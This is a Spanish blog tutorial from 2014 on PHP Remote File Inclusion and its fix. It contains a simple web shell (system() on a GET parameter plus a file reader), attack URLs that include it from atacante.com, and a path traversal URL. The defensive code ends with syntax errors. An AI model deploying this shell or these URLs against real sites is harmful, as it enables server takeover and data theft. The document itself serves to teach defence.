jueves, 20 de marzo de 2014

Ejemplo de Remote File Inclusion y solución a la vulnerabilidad - PHP


Bienvenid@s, hoy vamos a ver un ejemplo de un ataque no muy común llamado Remote File Inclusion que consiste en la inclusión remota de archivos a través de una vulnerabilidad provocada por una mala configuración de PHP y por supuesto por una mala programación, ya que no se controla debidamente las variables que son pasadas a include, require, include_once y require_once. En alguna ocasión habrás podido observar cierto sitios web que utilizan un parámetro GET que contiene como valor un archivo, por ejemplo ... 

http://victima.com/index.php?page=archivo.html

Esto puede ser un indicio de una posible vulnerabilidad si el usuario tiene conocimientos de como explotarlo, el atacante podría crear un archivo con extensión .txt .png .jpg, ... e incluir código php para realizar un test, por ejemplo ...

<?php 
echo "este sitio es vulnerable";

El atacante guardaría dicho archivo en su servidor y realizaría el test de la siguiente manera, modificando la url ...

http://victima.com/index.php?page=http://atacante.com/shell.txt

Y a continuación actualizaría la página, si en la página aparece "este sitio es vulnerable", entonces el atacante ya sabe que podrá hacerse con el control del sitio. Si el atacante tratase de hacerlo a través de un archivo .php no podría hacerlo, ya que lógicamente el script php sólo se va a ejecutar en su servidor y no en el de la víctima, por eso se utilizan archivos que si pueden ejecutarse del lado del cliente como .txt .jpg, etc.

A continuación el atacante mejoraría su shell.txt para obtener información del sitio vulnerable, tal vez sienta curiosidad por saber cuantos directorios y que contenido alberga dicho servidor. Así que se pondría manos  a la obra y haría lo siguiente ...

<?php
$cmd = null;
if (isset($_GET["cmd"]))
{
$cmd = $_GET["cmd"];
system($cmd);
}

Bien, pues con estas simples líneas de código el atacante podría ir de directorio en directorio listando el contenido del mismo, del siguiente modo ...

Obtendría todo el contenido del directorio actual:
http://victima.com/index.php?page=http://atacante.com/shell.txt&cmd=ls

Podría ir bajando directorios:
http://victima.com/index.php?page=http://atacante.com/shell.txt&cmd=ls ../
http://victima.com/index.php?page=http://atacante.com/shell.txt&cmd=ls ../../
http://victima.com/index.php?page=http://atacante.com/shell.txt&cmd=ls ../../../
http://victima.com/index.php?page=http://atacante.com/shell.txt&cmd=ls ../../../../

Podría acceder a la carpeta deseada:
http://victima.com/index.php?page=http://atacante.com/shell.txt&cmd=ls ../../carpeta

Ok, el atacante ha conseguido un gran avance y ha visto directorios y archivos interesantes, pero ahora siente la curiosidad de explorar el contenido de los archivos, así que continuará mejorando su shell.txt ...

<?php
$cmd = null;
if (isset($_GET["cmd"]))
{
$cmd = $_GET["cmd"];
system($cmd);
}
$open = null;
if (isset($_GET["open"]))
{
 $open = $_GET["open"];
$ruta = $open;
$manejador = fopen($ruta, "r");
while(!feof($manejador))
{
echo htmlspecialchars(fgets($manejador)) . "<br>";
}
fclose($manejador);
}

Ahora la shell.txt también tiene la opción de leer archivos, el atacante podrá leer cualquier archivo que se encuentre en el servidor inclusive archivos php.

http://victima.com/index.php?page=http://atacante.com/shell.txt&cmd=ls ../../carpeta&open=../../carpeta/archivo.php

El atacante está viendo el contenido del archivo "archivo.php" que se encuentra en la ruta ../../carpeta.

El atacante podría seguir mejorando su shell.txt, podría subir archivos, descargar archivos, eliminar archivos, crear archivos y cualquier otra cosa que se le pueda pasar por la cabeza a una mente imaginativa.

Ahora es momento de las soluciones, la primera de ellas es impedir la inclusión de archivos a través de urls como http://... o ftp://... y esto puede ser modificado en la carpeta de PHP en el archivo php.ini, busca la variable: allow_url_include y si se encuentra en On, cámbiala a Off

Ahora si el atacante intentase ejecutar su shell.txt ocurriría un error y no podría controlar el servidor como hemos visto anteriormente.

Pero esto no es todo, el atacante puede intentar acceder al contenido de tu servidor de la siguiente forma ...

http://victima.com/index.php?page=../../../../passwords.txt

Como puedes ver la vulnerabilidad no ha desaparecido del todo, así que ahora es momento de programar para sanear este error, así que lo primero que vamos a hacer es ocultar la extensión del archivo ...

 http://victima.com/index.php?page=archivo

Y vamos a modificar el código php ...

<?php 
/* Página por defecto */
$pagina = "archivo.html";
if (isset($_GET["page"]))
{
 $page = htmlspecialchars($_GET["page"]).".html";

/*
Vamos a permitir sólo la carga de los siguientes archivos.
En este caso se trata de un array con las páginas permitidas.
Pero podrían ser los registros de una tabla en la base de datos sin ningún problema.
*/

$paginas = array
(
1 => "archivo.html",
2 => "archivo-1.html",
3 => "archivo-2.html,
/* etc... */
);

/*
Ahora vamos a comprobar si la inclusión del archivo pertenece a las páginas permitidas.
*/
foreach($paginas as $clave => $valor)
{
if ($page == $valor)
{
$pagina = $page;
}
}

}
else /* Si no hay página lo redireccionamos */
{
header("location: error.php");
}

<!-- Ya en el HTML incluimos la página -->


<div><?php include $pagina ?></div>



No hay comentarios: